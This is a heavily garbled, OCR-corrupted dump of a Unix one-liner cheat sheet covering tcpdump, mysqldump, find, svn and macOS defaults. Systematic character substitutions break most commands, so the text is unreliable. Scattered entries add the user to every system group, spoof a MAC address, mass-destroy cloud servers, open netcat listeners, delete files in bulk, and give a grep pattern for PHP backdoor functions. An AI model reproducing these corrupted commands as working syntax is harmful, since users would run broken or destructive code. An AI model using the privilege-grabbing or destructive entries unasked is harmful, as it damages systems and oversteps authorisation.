All UNIX COMMANDS # chec) rpm p)& content */o installation rpm Plp -pac)a&e2rpm. # 3opy via tar pipe *hile preservin& (ile permissions Erun this command as root!G tar 3 /oldirectory cvp( 2 4 tar 3 /ne*director ,v( # Hide (iles and (olders on ;NOM 6es)top2 &con(tool9 set /apps/nautilus/pre(erences/sho*des)top type %ool " # list all (iletypes Ecaseinsensitive e,tensionsG includin& su%directories (ind /path/to/dir type ( 4sed s/'2L2// 4sort ( 4uniP i # Doin every (ive lines seP 9" 4 a*) ORS=NRKZVIS:RS # Style a %loc) o( code in a %lo& that accepts HTM02 over(lo*:autopaddin&:Zp,%orderstyle:dou%le(ont*ei&ht:%oldcolor:#""((""%ac)&round color:"8.-pre style=8*hitespace:pre*rap*hitespace:mo>pre*rap !important*hite space:pre*rap*hitespace:opre*rap*ord*rap:%rea)*ord*hitespace:pre # convert Davascript 6<3T to CSON Ds e CSON2strin&i(yEhello:8*orld8G # 3onvert
# &roup every (ive lines a*) ,1=$9 y1=$U NRKZ=="print ,/Z+y/Z ,=y=" (ile2t,t 389 / 658
All UNIX COMMANDS # mysPl: 3onvert My
All UNIX COMMANDS # cy&*in start, start, (ullscreen noresi>e uni,)ill # 3apture des)top at resolution "",W"" and camera video (iles also captures mic audio to (ile avconv y ( ,&ra% r 9 s "",W"" i :"2" ( video?linu,9 i /dev/video" ( alsa i pulse map ":" vcodec ra*video pi,(mt yuv?9"p des)top2y?m map :" vcodec ra*video pi,(mt yuv?9"p camera2y?m map 9:" audio2mpU # Add yoursel( to all &roups on a system (or i in $E&etent &roup4cut d: (G do sudo usermod a ; 8$i8 $@SR done # Say the current time EMac OS ^G date 81The time is KH:KM8 4 say # Summari>e si>e o( all (iles o( &iven type in all su%directories Ein %ytesG S@M=" (or I<0S<\ in _(ind /tmp type ( iname Lpd( e,ec du % L 9./dev/null 4 cut (_ do EE S@M 1= $I<0S<\ GG done echo 8sum=$S@M8
# Ie*er )eystro)es to search man pa&e o( command (unction m&EG man $ 4 e&rep $9 4 more # sudo (or launchin& &ui apps in %ac)&round sudo % ,term # lay Star Jars pisode <[ in your terminal G telnet to*el2%lin)enli&hts2nl # hard lin) (ile (or Jindo*s (sutil hardlin) creat ne*(ile e,its(ile # %ash (unction (or convenient (ind in su%version *or)in& directories svn(ind EG local a=$ shi(t (ind $a not LE name 2svn prune LG $ # Iind a list o( all installed pac)a&es on a Redhat/3entOS system rpm Pa 4 sort 4 sed n e 8s/L"WB2"WB2//p8 4 uniP # 6ump T3 tra((ic to a host into a te,t and pcap (ile n&rep host W9222 O $Edate 1KKmKdKHKMKSG2pcap . $Edate 1KKmKdKHKMKSG2t,t # Remove color codes Especial charactersG *ith sed sed r 8s7L'L+9E"WB+9E"WB+9GVE"WBGVEm4YG+9GV77&8 # ;et the current date in a yymmddhhmmss (ormat Euse(ul (or (ile namesG date 1KyKmKdKHKMKS # compute the Pps accordin& to the latest n lines o( lo&s tail n """ access2lo& 4 &rep 89"" OST8 4 a*) print su%strE$U+"+WG 4 a*) data$"B1 1N6(orEitem in dataGprint item+ dataitemB # 3alculate di((erent hash sums o( one (ile at the same time dd i(=(ile 4 tee .EshasumG .EmdZsumG .Esha9ZsumG ./dev/null # 0in) all the (iles in this directory to that directory cd /this/directory (or ( in do ln s _p*d_/$( /that/directory done # 7mail2com %y addin& the line in list2t,t *hile read line do echo e 8$line7mail2com8 done - list2t,t 391 / 658
All UNIX COMMANDS # ;enerate a random num%er in a ran&e START=9" N6=Z" echo $EE$START1E_od An N9 i /dev/random_GKE$N6$START1GGG # Remove unused li%s/pac)a&es aptitude remove $Ede%orphanG # command line to optimi>e all ta%le (rom a mysPl data%ase mysPlchec) op u-user. -d%. # Iind artist and title o( a music cd+ @3 code &iven E(irst result onlyG curl http://***2disco&s2com/searchVP=]9?U?WW]"? 9. /dev/null 4 &rep L/releaseL/ 4 head 9 4 tail 4 sed e s/'-div.2.LE2LG-L/a.-L/div./L/ # MyS50: Slice out a speci(ic ta%le (rom a speci(ic data%ase Eassumes e,istence o( the @S statementG (rom output o( mysPldump mysPldump 4 sed n 8/'@S L_employeesL_/+/'@S L_/p8 4 sed n 8/' Ta%le structure (or ta%le L_departmentsL_/+/' Ta%le structure (or ta%le/p8 # 6elete all active Qri&ht%o, cloud servers (or server in _%ri&ht%o,servers list 4&rep active4a*) print $_do %ri&ht%o,servers destroy $serverdone # Time a process run *ith simple one line ta%%ed output /usr/%in/time ( 8K realLtK@ userLtKS sys8 pipeline # Only chan&e the (irst occurrence o( the pattern sed i 8"+/ena%led/s4ena%led="4ena%led=48 /etc/yum2repos2d/remi2repo # 3onvert uni, timestamp to date date d 79U?Z]W" # ;et some use(ul output (rom tcpdump tcpdump nvv^ s ] src ,2,2,2, and dst port " # 6o*nload current sta%le )ernel version (rom )ernel2or& *&et nochec)certi(icate https://***2)ernel2or&/$E*&et PO nochec)certi(icate https://***2)ernel2or& 4 &rep tar 4 head n 4 cut dL8 (9G # This is a speciali>ed command (or ricsson 3SZ29 ;ettin& the test case trace on S6 tail ( /var/opt/(ds/lo&s/Tracevent0o&Iile2t,t2" 4 &rep -msisdn. 4 tee -testcase id.2trace 4 tr 4 Ln
# Restart nautilus nautilus P # use the short username %y de(ault (or net*or) authentication de(aults *rite /0i%rary/re(erences/com2apple2Net*or)Authori>ation @seShortName %ool S # Stop Mac OS^ (rom creatin& 26SStore (iles *hen interactin& *ith a remote (ile server *ith the Iinder de(aults *rite com2apple2des)topservices 6S6ontJriteNet*or)Stores true # simple du command to &ive si>e o( ne,t level o( su%(older in MQ du ma,depth= Q M 4sort rn # 6ump MySPl to Iile mysPldump opt u@SRNAM pASSJOR6 h mysPl2host2com data%ase . X/(ilename2sPl 392 / 658
All UNIX COMMANDS # MyS50: Strip a my2cn( (ile (rom comments+ remove %lan) lines+ normali>e spaces: cat my2cn( 4 sed /'#/d 4 sed /'$/d 4 sed e s/ LtBL1//& # 6estroy all unmapped Qri&ht%o, 3loud <s (or ip in _%ri&ht%o,cloudips list 4&rep unmapped4a*) print $_do %ri&ht%o,cloudips destroy $ipdone # a*) date convert a*) cmd=8date date=L88$8L8 1L8K/Km/Kd KH:KM:KSL8 8 cmd 4 &etline convdate print cmd88convdate (ile2t,t # Coin the content o( a %ash array *ith commas print( 8Ks+8 8$0
,modmap e
# 6elete the previous entry in your history alias histdel=history d $EEH
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All UNIX COMMANDS cat my2sand%o,2cn( 4 a*) I 8=8 NI - 9 print su%E8=8+ 8=XplaceholderX=8G print 4 a*) I 8=XplaceholderX=8 NI - 9 &su%E88+ 88+ $"G print NI==9 &su%E88+ 88+ $G print $ 8=8 $9 # 3reate patch (ile (or t*o directories di(( ru ori&in6ir update6ir . result2patch # S*itch *or)space *mctrl o ""+"
# all out p)ill W u username # save manpa&e as html (ile >cat _man * manpa&e_ 4 &ro(( mandoc T html . (ilename2html # Opens up cached (lash plu&in video (ilesElinu,G vlc $E(or ( in /proc/$Ep&rep ( li%(lashplayer2so 4head n G/(d/ do i( $E(ile $( 4 &rep P 8%ro)en sym%olic lin) to L_/tmp/Ilash^^8G then echo $((idoneG # send an email throu&h linu, command line van %e achieved %y mail s 8myip8 youremail7domain2com # ;et the num%er o( open soc)ets (or a process ps au, 4 &rep processB 4 a*) print $9 4 ,ar&s < K ls /proc/K/(d 4 *c l # num%er )ill your terminal (or EEi=" i.""" iGG do echo 8$!i8 done # rase empty (iles (ind 2 si>e " e,ec rm L # &enerate random pass*ord cat /dev/urandom 4 tr dc a>A\"W 4 (old * " 4 sed P # 3hec) i( >ip (iles (rom current directory are &ood (ind 2 ma,depth name 82>ip8 e,ec un>ip tPP L # Mer&e various 6I (iles &s dNOA@S s6[<3=pd(*rite sO@T@TI<0=output2pd( dQAT3H (irst2pd( second2pd( # Iind all o*er3 applications on OS ^ systempro(iler SApplications6ataType 4 &rep AU Q? 8Yind: o*er38 # Jhich ATH varia%le should < use (or this scirptV *hichpathEG local A path local c p (or c do p=$Etype 8$c8G p=$pK/ path$ p:/B= done local
All UNIX COMMANDS tail """ _ls ltr /var/lo&/3I 4tail 4a*) print $W_4cut d 8+8 ( ]4sort4uniP c 4 sort )9 # 3opy *ith TAR [ and N3 *hile true do nc l p Z"""9 4 pv 4 tar ,( done # 6i(( t*o directories %y (indin& and comparin& the mdZ chec)sums o( their contents2 di(( -Esort -EmdZdeep % r /directory//G G -Esort -EmdZdeep % r /directory/9/G # mpty a (ile . (ilenameB2t,t # Iind out *hat (iles are chan&ed or added in a &it repository2 &it lo& nameonly 4 less # replace deprecated php(unction split in php (iles sed i s/splitLE/e,plodeLE/ *hatever2php # Source multiline &rep *ith pcre&rep pcre&rep color M N 3R0I 8o*apatternL2L*1LJLE'LGBLG8 source2sPl # Recursive source re&e,p search *ith pcre&rep pcre&rep r e,cludedir=2svn include=2Dsp$
A 9 Q 9 color
8pHtmlHome8 2
# redirectin& stdout o( multiple commands command ar&s command9 ar&s9 222 # ,ecute the command &iven %y history event num%er !-num%er.
# Report summary o( strin& occurrence %y time period EhourG alternate cat >2lo& 4 cut d : ( 4 sort 4 uniP 4 ,ar&s l iII echo echo II $Ecat >2lo& 4 &rep e 8'II8 4 &rep e Timeout 4 *c l G 4 %ash # Yill all %ac)&round Do%s Do%s 4 &rep o 8"WB8 4 *hile read D do )ill K$D done # sudo ssh 6 (N user7,,,,2noip2in(o sudo ssh 6 (N user7,,,,2noip2in(o # Add current directory to Ru%y load path echo 8$: -- 28 .. $
All UNIX COMMANDS # Read Dust the < address o( a device i(con(i& l 4 ,ar&s n ipcon(i& &eti(addr 9. /dev/null # ;enerate M6Z o( strin& and output only the hash chec)sum in a reada%le (ormat echo n 8Strin& to M6Z8 4 mdZsum 4 sed e s/22/F /& e s/ // # 3ount ne* mail mail H 4 &rep '2@ 4 *c l # read old reversion o( (ile cvs up r29U p main2cpp 4 vim # print an hello *orld echo hello *orld # a (unction to (ind the (astest (ree 6NS server time6NS EG (or , in 8$local6NS8 89"2]299929998 89"2]299"299"8 8W2ZU2W928 8W2ZU2W?28 8Z2Z?2]"28 8Z2Z?2]28 82228 822?2?8 do E echo n 8$, 8 di& 78$,8 8$84&rep 5uery 4spon&e FG done 4 sort n )Z # 3ommand line calculator alias calc=python ic 8(rom math import (rom random import 8 # &ets all (iles committed to svn %y a particular user since a particular date svn lo& v r9""W:HA6 4 a*) /'r"WB1 / user=$U /2/i( Euser==8&eor&e8G print 4 &rep 8' M4' ;4' A4' 64' 34' @8 4 a*) print $9 4 sort 4 uniP # Remove invalid )ey (rom the )no*nhosts (ile (or the < address o( a host (or HOSTTORMO[ in $Edi& 1short host2domain2tldG do ssh)ey&en PR $HOSTTORMO[ done # 3ount lo&lines %y time EminuteG cat >2lo& 4 cut d : (+9 4 uniP c # Matri, Style Eset o no&lo%*hile sleep "2"Zdo (or r in _&rep ao :print:BB /dev/urandom4head $ EE3O0@MNS/UGG_do $EERAN6OMKGG le B FF r=L echo ne 8Le$EERAN6OMK]/19GGU9m $r 8doneechodoneG # mount virtual%o, share mount t v%o,(s share /mnt/mountpoint # Remainin& 6is) space (or important mounted drives d( H 4 &rep v 'Iilesystem4tmp(s4cdrom4none 4 a*) print $Z 8 8 $ # Trans(er (ile *ith ssh cat (ilein 4 ssh destination2com c arc(our+%lo*(ishc%c 3 p Z"""Z 8cat . /tmp/(ileout8 # 0ist cassandra snapshots %y date (ind /var/li%/cassandra/data depth type d i*holename 8/snapshots/8 print( 8KTyKTmKTd KpLn8 4 sort # re(i, every line *ith a timestamp any command 4 sed 8s/'/L_date 18KKmKdKHKMKS8_B/8
# svn resume deleted (ile svn copy http://svnserver2com/svn/trun)/htdocs/3MS/vie*s/module/scripts/modal/dialo& settin&sitems2phtml7U?U r U?U htdocs/3MS/vie*s/module/scripts/modal/dialo&settin&s items2phtml 396 / 658
All UNIX COMMANDS # ;et your pu%lic ip curl s http://icanha>ip2com/ # 3hec) synta, o( all erl modules or scripts underneath the current directory (or code in $E(ind 2 type ( name 2pmlBG do perl c 8$code8 done # @se a varia%le in a (ind command2 (ind 2 iname L$M[ARL print
@se(ul in scriptin&2
# ;et the amount o( users currently re&istered at the 6uda0i%re2com 0inu, 3ounter2 curl silent http://***2dudali%re2com/&nulinu,counterVlan&=en 4 &rep users 4 head 9 4 tail 4 sed s/2-stron&.//& 4 sed s/-L/stron&.2//& # 0ist your MA3s address echo 4 i(con(i& 4 &rep HJaddr # reverse order o( (ile print( 8&/'/m"Ln*LnP84ed $I<0 # ut at the end o( the rsa pu%lic )ey an commentEde(ault value is the hostnameG ssh)ey&en 3 hello7*orld # Multi E(ileGsource SSH host ta%completion complete J 8$E a*) /'Host / print $9 X/2ssh/con(i& 4 e&rep v L4+ echo $ E &rep 'ssh 2%ashhistory 4 sort u 4 sed s/'ssh // G *hile
All UNIX COMMANDS # &rep or e&rep strin&4strin&9 (ile # Send 6is) usa&e via email #!/%in/sh #du2sh i=_hostname i_ d( h . /tmp/space2t,t echo 8server $i 8 .. /tmp/space2t,t uuencode /tmp/space2t,t space2t,t 4 mail s 8H66 usa&e $i8 email7email2com # reload con(i& source 2%ashrc #
# ;et all &it commits o( a speci(ic author in a nice (ormat &it lo& namestatus author=8The Authors NameB8 # run a command repeatedly inde(inately *hile true do )illall mc done # 0ist the si>e Ein human reada%le (ormG o( all su% (olders (rom the current location du 2 4 sort nr 4 a*) splitE8YQ MQ ;Q TQ8+ arrG id,= *hile E $ . "9? G $/="9? id,11 print( 8K"29(8+$ print 8 8 arrid,B 8Lt8 $9 4 head 9Z # Rerun a command until there are no chan&es+ %ut no more than N times2 (or times in $EseP "G do puppet a&ent t FF %rea) done # T36@M F Save 3apture to Remote Server tcpdump i eth" * 4 ssh savelocation2com c arc(our+%lo*(ishc%c 3 p Z"""Z 8cat . /tmp/eth"2pcap8 # Iind the processes that are on the runPueue2 ps r A
rocesses *ith a status o(
# chan&in& permissions to many (olders+ su% (olders and (iles in the current directory2 (or i in do chmod R ]]] $idone # Rename many (iles in directories and su%directories (ind 2 type d print" 4 *hile read d $L" dir do cd 8$dir8 echo 8 process $dir8 (ind 2 ma,depth name 82o&&2mpU8 e,ec rename s/2o&&2mpU/2mpU/ L cd done # Send SNM traps sudo snmptrap m A00 v 9c c pu%lic trapserver 88 @366MOM
All UNIX COMMANDS m)dir /tmp/dir/"229" # %ash: display 3@RRNT time in prompt+ *hen enterin& a command $ echo e Ln## huH@BA)tualis ido/datum a prompt%a ESGLn# TraceQac): http://&oo2&l/Ml)c5LnS=87L$Edate 1KH:KM:KSG $S8Ln ..X/2%ashrc # 3opy all (ile di((erences to an e,istin& mirror location di(( Naur /source/path /tar&et/path %rie( 4 a*) print 8cp 8 $9 8 8 $? 4 sh # Ma)e 8pcap8 (ile tcpdump i eth" s ZZUZ * testcapture # 0ist 0[M [olume ;roups as an unprivile&ed user cat /sys/%loc)/+//holders/dm/dm/name 4 a*) I print $ 4 sort u # T36@M F Save 3apture to Remote Server */ ;\< tcpdump i eth" * 4 ssh (or&e2remotehost2com c arc(our+%lo*(ishc%c 3 p Z"""Z 8cat 4 &>ip . /tmp/eth"2pcap2&>8 # rip all trac)s o( the cd then convert all *av (iles in mpU cdparanoia *Q (or i in 2*av do lame h % W9 8$i8 8_%asename 8$i8 2*av_82mpU done # 3urrent su%(olders si>es du sh # Rearran&e *ords (rom a (ile perl lane print 8$I"B:$IB:$I9B8 my(ile # @pdate t*itter via curl as Iunction t*eetEG curl u 8$8 d status=8$98 8http://t*itter2com/statuses/update2,ml8 # 3onverts e,t9 to e,tU tune9(s D /dev/sd^ # Iind Man pa&es (or everythin& in your $ATH unset MANATH manpath ./dev/null # @se a varia%le in a (ind command2 (ind 8$8 iname 8$98
@se(ul in scriptin&2
# 0ocate con(i& (iles o( the pro&ram strace e open >im 9.F ./dev/null 4 (&rep X 4 (&rep v 8= 8 4 cut d8 (9 # remove (iles o( a speci(ic si>e (ind 2 si>e ?""c e,ec rm L # 66 *ith pro&ress%ar usin& pv (or %ac)in& up entire %loc) device sudo dd i(=/dev/%loc)/device %s=MQ 4 pv s _sudo %loc)dev &etsi>e? /dev/%loc)/device 4 &>ip W . output2im&2&>
# ;enerate Random Te,t %ased on 0en&th &enRandomTe,tEG a=E a % c d e ( & h i D ) l m n o p P r s t u v * , y > G(="(or i in $ EseP $EE$GGG do r=$EE$RAN6OMK9GG i( 8$(8 eP a $EE$rK$iGG eP " B then echo n 8 8(="continue else (=(iecho n $a$rBdoneecho88 # Remove all missin& S[N (iles (rom the repository svn stat 4 &rep 'L! 4 a*) print $9 4 ,ar&s svn del 399 / 658
All UNIX COMMANDS # 6isplay < addresses id&in
(or SSTR in $ echo e $T^T
All UNIX COMMANDS # Testin& php con(i&uration php e c /path/to/php2ini r echo 8OYLn8 # e,traer la MA3 del comando i(con(i& i(con(i& eth" 4 &rep HJ 4 cut d 8 8 ( # ;raphically display directory structure ls R 4 &rep 8:$8 4 sed e s/:$// e s/'B'L/BL///& e s/'/
/ e s//4/
# MMOR 6@M A3ROSS NTJORY ? 3;J
# hello+ *orld perl e 8=XEEV2E'72B4E+7//G+LLL$'B+G7GL_'7+777V24G2GG8 # recursively chan&e (ile name e,tensions (ind 2 type ( name L2c 4 *hile read ( do mv $( 8_%asename $( 2c_823 done # 3ompare a (ile *ith the output o( a command or compare the output o( t*o commands vimdi(( (oo2c -E%>r cat r revno:9 (oo2cG # Spoo( your *ireless MA3 address on OS ^ to "":e9:eU:e?:eZ:e sudo i(con(i& en ether "":e9:eU:e?:eZ:e #
All UNIX COMMANDS *hile ps p $<6 do sleep done script9 # Total procs+ av& si>e ERSSG and Total mem use ps a***u, 4 &rep httpd 4 &rep v &rep 4 a*) mem = $ tot = $ 1 tot total11 N6print(E8Total procs: KdLnAv& Si>e: Kd YQLnTotal Mem @sed: K( ;QLn8+ total+ mem / total+ tot / "9? / "9?G # dos9uni, $ perl pi e s/LrLn/Ln/& -(inelame. # 3opy (iles (rom list *ith hierarchy cat (iles2t,t 4 ,ar&s tar cv 4 tar , c $6
4 python m simpleDson2tool 4 &rep
# Mount Jindo*s shared (older Eor Sam%a shareG sm%mount //-ip./-resource. -localmountpoint. # Yill all *indo*s in one &o in %ind)ey '( at 8#8 )ill
&nu screen
# ouTu%e 3onvert and 6o*nload All @sers [ideos to MUs on the (ly 3ommand in description Eour command is too lon& please )eep it to less than 9ZZ charactersG # Yill a process %y its partial name )illall r a re&ular e,pression # Add 6uc)6uc);o Search as search provider on &nomeshell cd /usr/share/&nomeshell/searchproviders/ FF cat &oo&le2,ml 4 sed 8s/***2&oo&le2comL/search/duc)duc)&o2comL// s/;oo&le/6uc)6uc);o/&8 . duc)duc)&o2,ml # ma)e directory $ m)dir p /tmp/dir/"229" # vie* all console (onts #!/%in/%ash cd /usr/share/console(onts/ (or i in do set(ont echo 8testin& .. $i -(ont8 set(ont $i sho*console(ont sleep Z clear done # ;raphical tree o( su%directories (ind 2 type d 4sed s:'B'/B/::& s:': 4: # ma)e a central pro,y access (rom *here its hi&h speed lin) availa%le2 socat T3?0
# Massive rename (ilenames (or i in _(ind name test2r%_ do mv $i $iKKtest2r%spec2r% done # sho* 9" last modi(ied (iles in current directory includin& su%directories (ind 2 type ( print( 8KT7 KTc KpLn8 4sort n 4cut d (9 4tail n9" # [ie* all (ile descriptors o*ned %y a process sudo lso( p _sudo ps au, 4 &rep i neo?D 4 &rep v &rep 4 a*) print $9 _ # ;enerate an ^Y36 #WU style ? *ord pass*ord 402 / 658
All UNIX COMMANDS *ord=$Eshu( n? /usr/share/dict/*ordsG (or * in $*ord7B do p1=$* done echo $p
*=$*' *=$*//L/
# &et mdZsum (or all (iles+ s)ippin& svn directories (ind $ not i*holename 82svn8 type ( 4 ,ar&s mdZsum 4 a*) print $9 8Lt8 $ # Ho* to convert a Shape(ile to ;eoCSON o&r9o&r ( ;eoCSON output2&eoDson input2shp # alias dir to ls al alias dir=8ls al8 # Qac)up your precious Tomato Router Stats curl http://root:ASSJOR67RO@TR6N6NS/%*m/tomatorstatsa""UWce%d?2&>Vhttpid=HTT<6 . $HOM/6rop%o,/Qac)ups/tomatostats2&> # 0ist all mounted drives and their accompanyin& partitions (rom OS ^ Terminal dis)util list # ;et acurate memory usa&e o( a rocess in Me&aQytes pmap $Ep&rep rocessNameB nG 4 &a*) /total/ a=strtonumE$9G %=intEa/"9?G print( % # 3ount (iles %y e,tension (ind 2 type ( 4 sed n s/22L2//p 4 sort ( 4 uniP ic # rovides e,ternal <+ 3ountry and 3ity in a (ormated manner2 (unction &eoipEG curl s 8http://***2&eoiptool2com/en/V<=$8 4 html9te,t 4 e&rep color 8< Address:43ountry:43ity:40on&itude:40atitude:4Host Name:8 # 3ompress 6I &s s6[<3=pd(*rite d3ompati%ility0evel=2? d6ISTT
All UNIX COMMANDS cat /var/lo&/auth2lo& 4 &rep i 8pamuni,Esshd:authG: authentication (ailure8 4 cut d (?+Z 4 cut d= (9 4 sort 4 uniP # lace the ar&ument o( the most recent command on the shell !$ # ;enerate Random Te,t %ased on 0en&th &enRandomTe,tEG cat /dev/urandom4tr dc a>A\4head c $ # 0ist all ima&es in icon/cursor (iles icotool l demo2ico
# arallel copy Iaster copy (ind Iiles/ type d 4 parallel rsync a MY6/$Edirname G
m)dir p /QY/ FF (ind Iiles/ type (
4 parallel
# add a chan&e in &it that you have Dust chec)ed usin& &it di(( 'di(('add # Search recursively to (ind a *ord or phrase in certain (ile types+ such as 3 code (ind 2 name 82chB8 e,ec &rep i /dev/null 8search pharse8 L # 3reate a pac)a&e list (or o((line do*nload sudo apt&et -apt&et command and options. printuris PP 4 sed n 8s/LE' BL1LG LE' BL 1LG LE' BL1LG M6ZSum:LE' BL1LG/*&et c L/p8 . do*loadde%list2t,t # SSH Autolo&in *ith pass*ord SSHASS=yourpass*ord sshpass e ssh me7myhost2com # (ind php command %ac)door &rep Rl include=2php+t,t+asp 8Epassthru4shelle,ec4system4phpin(o4%ase?decode4 chmod4m)dir4(open4(close4read(VileG LE8 /var/***/ # Opens up a %ac)&round session *ithin an e,istin& (ronend session screen # Annoy everyone on your system tmp
All UNIX COMMANDS # Iile *ithout comments or %lan) lines2 sed s/':%lan):BB// s/'#2// /'$/d (ilename # 3oncatin& pd( (iles &s P sARS<\=a? dNOA@S dQAT3H s6[<3=pd(*rite sOutputIile=out2pd( 2pd( 92pd( U2pd( ?2pd( # capture screen and mic ((mpe& ( alsa i de(ault ( ,&ra% s s,&a r " i :"2" ( mp? s v&a sameP out2mp? # Sho* 3@ idle and used time &rep 8cpu 8 /proc/stat 4 a*) I total = $9 1 $U 1 $? 1 $Z N6 print 8idle Lt usedLn8 $Z""/total 8K 8 $9""/total 8K8 # Yill &oo&le chrome process (or i in $Eps , 4 &rep chrome 4 cut d8V8 ( 4 &rep v chromeG do )ill W $i done # Iind directory %y name (ind 2 type d name 2svn ls # Jritin& the output o( a command to end o( a (ile 3OMMAN6 OT
# ;rap all ima&es *ith the ta&s %itch and %* (rom a (lic)r photo(eed (or @R0 in _*&et O http://api2(lic)r2com/services/(eeds/photospu%lic2&neVta&s=%itch+%* 9./dev/null 4 &rep o 8http' B1VDp&8 4 &rep v 8m8 4 uniP 4 &rep v %uddy _ do I<0=_echo $@R0 4 &rep o 8"Wa>B1L2Dp&8_ curl $@R0 . $I<0 done # lists contents o( a tar (ile tar t( /path/to/(ile2tar # na%le Net*or)Mana&er Ein Y6G d%ussend system printreply dest=or&2(reedes)top2Net*or)Mana&er /or&/(reedes)top/Net*or)Mana&er or&2(reedes)top2Net*or)Mana&er2na%le %oolean:true # see *hat tra((ic is mostly hittin& you tcpdump i eth" n 4 head 405 / 658
All UNIX COMMANDS # Iind (iles *ith si>e over ""MQ and output *ith %etter layout (ind 2/ type ( si>e 1""""") e,ec ls lh L 9./dev/null4 a*) print $ 8 : 8 $Z # Yill &oo&le chrome process )ill $Epido( chromeG # 0ist empty directories only in present level (ind 2/ ma,depth empty type d print # encode HTM0 entities perl MHTM0::ntities ne print encodeentitiesE$G /tmp/su%or2t,t # command (or con)y2 To update a random command (or each U"" sec (rom commandline2com $e,eci U"" lyn, dump http://***2commandline(u2com/commands/random/plainte,t 4 &rep 2 # (ind potentially malicious H commands used in %ac)doors and ali)ed scripts (or ii in $E(ind /path/to/docroot type ( name L2phpG do echo $ii *c lc $ii 4 a*) nr=$9/E$ 1 G print(E8KdLn8+nrG done # Sho* counts o( messa&es in e,im mail Pueue+ &rouped %y recipient sudo /usr/s%in/e,im %p 4 sed n /LLL (ro>en LLL/+1!p 4 a*) print $ 4 tr d :%lan):B 4 &rep 7 4 sort 4 uniP c 4 sort n # Sho* si>es and calculate sum o( all (iles (ound %y (ind (ind name 2%a) print" 4 du hc (iles"(rom= # Test your total dis)
All UNIX COMMANDS # 0ess ver%ose 3[S status Es)ips unmodi(ied uptodate (ilesG cvs P status 4 &rep 'VIB 4 &rep v todate # Iind pictures e,ceptin& a path (ind 2 LE not path 82/%oost8 LG type ( LE name 82Dp&8 or name 82pn&8 or name 82Dpe&8 LG 9./dev/null # moreplayin&around curl s u username:pass*d http://t*itter2com/statuses/(riendstimeline2rss4&rep title4sed ne s/-L/title.//&p 4(estival tts
# Strip out time di((erence entries *hen veri(yin& rpms on ,? RH0 systems rpm [a 4 &rep v 8L2L2L2L2L2L2L2T8 # ;enerate Random ass*ords dd i(=/dev/urandom count=9"" %s= 9./dev/null 4 tr 8Ln8 8 8 4 sed s/'a>A\"WB//& 4 cut c # 3onsistent Oracle 6atapump ,port e,pdp user/pass*ord I0ASHQA3YS3N=$Eecho e 8select currentscn (rom vL$data%ase8 4 sPlplus / as sysd%a 9./dev/null4 &rep "WB"WB"WB"WB"WB"WBG # 6isaster Snapshot EprocmailG (or , in _&rep server /tmp/error2lo& 4 a*) print $U_ do L t=_date 81KdKmKHKMKS8_ ssh P t admin7$,2domain2com pstree auln . X/snapshots/$,$t2out L done # 3alculate the si>e in MQ o( all (iles o( a certain e,tension (ind 2 type ( iname 2msh e,ec ls l; L 4 a*) total = total 1 $?N6print 8scale=98 total 8/9'9"8 4 %c # 3hec) in current directory to S[N *ith commical/terri%le commit messa&e2 Elease dont actually run this command!G svn ci m 8$Ecurl s http://*hatthecommit2com 4 sed n /-p./+/-L/p./p 4 sed $d 4 sed s/-p.//G8 # Run Puery on remote data%ase and output results as csv mysPl uuserB ppass*ordB h hostnameB 6 data%aseB ss e 8select (rom mysPlt%l 8 4 sed s/Lt/8+8/&s/'/8/s/$/8/s/Ln//& . dump2csv # Qoot %loc) devices as virtual devices in [irtual Qo, [Qo,Mana&e internalcommands createra*vmd) (ilename path/to/(ile/name2vmd)B ra*dis) /dev/ %loc)deviceB # Iind all IATinvalid (ilenames in 828 (ind 2 4 &rep 8EL44LL4LV4L4-4L84:4.4L14L4LBG8 # 0ist users in a &roup lid & -&roup. # Sho* the source code o( a 0aTe^ class or pac)a&e or a Te^ (ile in &eneral less _)pse*hich scrartcl2cls_ # 6Q9 0oad command instead o( truncate or delete command+ to &et rid o( ta%le ro*s d%9 3ONN3T TO st&ndv9 d%9 load (rom /dev/null o( del replace into STMOT2STMORTARR;60TA nonrecovera%le # 0ist recursively only empty (olders on present dir 407 / 658
All UNIX COMMANDS (ind 2/ empty type d print # (ind &it commits %y description cat /tmp/commitlist 4 *hile read oldcommit do ms&=8_&it lo& pretty=oneline $oldcommit'22$oldcommit 4 sed s/"Wa(B // 4 sed s/'A\a>"WB/2/&_8 &it lo& pretty=oneline HA67""22HA6 4 &rep 8$ms&8 done # 3opy modi(ied (iles %et*een t*o ;it commits &it di(( nameonly di(((ilter=AM^T3R HA6X9 HA6 4 ,ar&s l < ver%ose 88 tar&etdir
cp parents
# ardstic) static analysis report sorted %y *hich CavaScript (iles have the hi&hest ratio o( comments to code2 (ind 2 name Ds type ( 4 ,ar&s yardstic) 4 sort ) n # total num%er o( (iles inside current directory ls R 4 *c l # Simplest *e% server ever! nc ) l Z?U9 c echo My Je% Server is Alive # ;rant readonly permissions to user or &roup icacls directoryor(ile /&rant useror&roup:EO
# Iind all NTISinvalid (ilenames in 828 (ind 2 4 &rep 8EL44LL4LV4L4-4L84:4.G8 # op up a ;ro*l alert i( Amtra) *i(i doesnt )no* *here to (ind The ;oo&le *hile B do Epin& c &oo&le2com 44 &ro*lnoti(y m ur *i(i>+ it has teh sadG sleep " done # 3hec) i( T3 port 9Z is open netstat tln 4 &rep :9Z # Search vm*are vm, (iles i( 0inu, &uests are set to sync time to host (or , in _(ind /vm(s/volumes/ name vm, e,ec &rep H linu,2iso L echo $, &rep i sync $, done 408 / 658
4cut d : ( _ do
All UNIX COMMANDS # 3omment out all lines in a (ile %e&innin& *ith strin& sed i /'somestrin&/ s/'/#/ some(ile2c(& # 3han&e Mac OS ^ 0o&in icture de(aults *rite /0i%rary/re(erences/com2apple2lo&in*indo* 6es)topicture 8/System/0i%rary/3oreServices/Iinder2app/3ontents/Resources/vorte,2pn&8 # A %etter aptcache usin& ^apian to ran) results a,icache search -searchterm. # 3om%ine 6[6 Studio ro 66 layers %ac) into a 6[6 disc ima&e (or testin& cat dvdoutput/0ayer"/
All UNIX COMMANDS # 6isplay the top ten runnin& processes sorted %y memory usa&e ps a,o Kmem+pid+euser+cmd 4 sort nr 4 head n " # &rep 9 *ords e,istin& on the same line &rep /e&rep *ord2*ord94*ord92*ord 8$78
